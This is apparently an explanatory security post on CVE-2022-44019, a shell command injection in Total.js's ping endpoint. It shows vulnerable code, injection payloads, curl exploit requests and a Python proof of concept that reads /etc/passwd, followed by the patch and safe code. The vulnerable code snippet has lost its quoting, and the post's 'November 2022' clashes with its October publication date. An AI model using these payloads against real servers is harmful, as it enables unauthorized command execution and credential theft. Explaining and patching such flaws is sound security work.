In November 2022, a critical vulnerability was found in the Total.js 4 framework, before commit e5ace7. This security bug, now known as CVE-2022-44019, lets attackers perform remote command execution (RCE) by sending crafted requests to the /api/common/ping API endpoint. This post dives into how this vulnerability works, shows example exploit code, and provides references for further reading.
What is Total.js?
Total.js is a popular Node.js web application framework. It powers various web services and IoT devices. In many setups, developers use built-in endpoints for diagnostics or network operations, like checking if a host is reachable with a ping.
Overview of the Vulnerability
Vulnerable Endpoint: /api/common/ping
Affected Versions: Total.js 4 before commit e5ace7
The endpoint allows users to "ping" a host specified via a query parameter, for example:
GET /api/common/ping?host=example.com
Inside the handler, the code executes a shell command to run the ping utility with the provided host value. If this user input isn't properly sanitized, an attacker can inject shell metacharacters, causing the server to execute arbitrary system commands.
How Does Exploitation Work?
In secure code, user inputs are "escaped" so special characters can't change the meaning of commands. In the vulnerable code, the host value is directly added to a shell command string, enabling attackers to break out of the expected input and execute their own commands.
Simplified Vulnerable Code
const exec = require('child_process').exec;
function pingHandler(req, res) {
let host = req.query.host;
exec(ping -c 4 ${host}, (err, stdout, stderr) => {
if (err) return res.send(stderr);
res.send(stdout);
});
}
If a user makes a safe request with host=example.com, the command becomes
ping -c 4 example.com
But what if the host is something malicious, like
example.com; cat /etc/passwd
The final command would be
ping -c 4 example.com; cat /etc/passwd
Now the server pings example.com and then dumps the contents of /etc/passwd (a sensitive system file) back to the attacker.
Crafting the Exploit
To exploit the bug, just send a crafted request where host contains a shell metacharacter, such as ; or &&. Here’s a curl example that will ask the server to perform an extra command after the ping:
curl 'http://target-server/api/common/ping?host=example.com;id';
This tells the server to execute id after the ping, leaking info about which user the server is running as.
Example: Exfiltrating Sensitive Data
curl 'http://target-server/api/common/ping?host=example.com;cat%20/etc/passwd';
This request would make the server read and return the contents of /etc/passwd (on Unix systems).
Here’s a simple Python PoC that tries to fetch /etc/passwd
import requests
target = "http://target-server/api/common/ping";
malicious_host = "example.com;cat /etc/passwd"
params = {'host': malicious_host}
response = requests.get(target, params=params)
print(response.text)
Responsible Disclosure & Patch
The vulnerability was fixed in commit e5ace7 by sanitizing input and avoiding direct shell execution with user-supplied values.
Upgrade to at least this commit to fix the issue.
Total.js Security Notices
Never pass user input directly to shell commands.
- Use safer alternatives. For example, with Node.js, use the child_process.spawn method with argument arrays instead of string commands.
Example: Safe Code
const { spawn } = require('child_process');
function safePingHandler(req, res) {
let host = req.query.host;
// Simple validation: only allow letters, numbers, dots, and dashes
if (!/^[\w\.\-]+$/.test(host)) {
return res.status(400).send('Invalid host');
}
const ping = spawn('ping', ['-c', '4', host]);
let output = '';
ping.stdout.on('data', (data) => output += data);
ping.on('close', () => res.send(output));
}
References & Further Reading
- GitHub Commit e5ace7 – Fix Shell Injection
- NVD – CVE-2022-44019
- Total.js Official Website
- OWASP Command Injection
Conclusion
CVE-2022-44019 is a real-world example of why careful input handling and secure coding practices are critical in web application development. If you use Total.js, make sure to update to the latest version. Even if you don’t, always sanitize user input, avoid passing raw data to shell commands, and stay alert for new vulnerabilities!
Timeline
Published on: 10/30/2022 00:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC